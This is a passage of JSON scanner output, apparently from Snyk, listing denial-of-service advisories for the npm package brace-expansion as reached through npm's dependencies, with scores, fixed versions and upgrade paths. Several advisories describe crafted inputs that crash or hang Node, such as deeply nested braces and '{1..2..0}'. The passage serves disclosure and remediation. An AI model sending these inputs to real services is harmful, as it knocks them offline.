"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
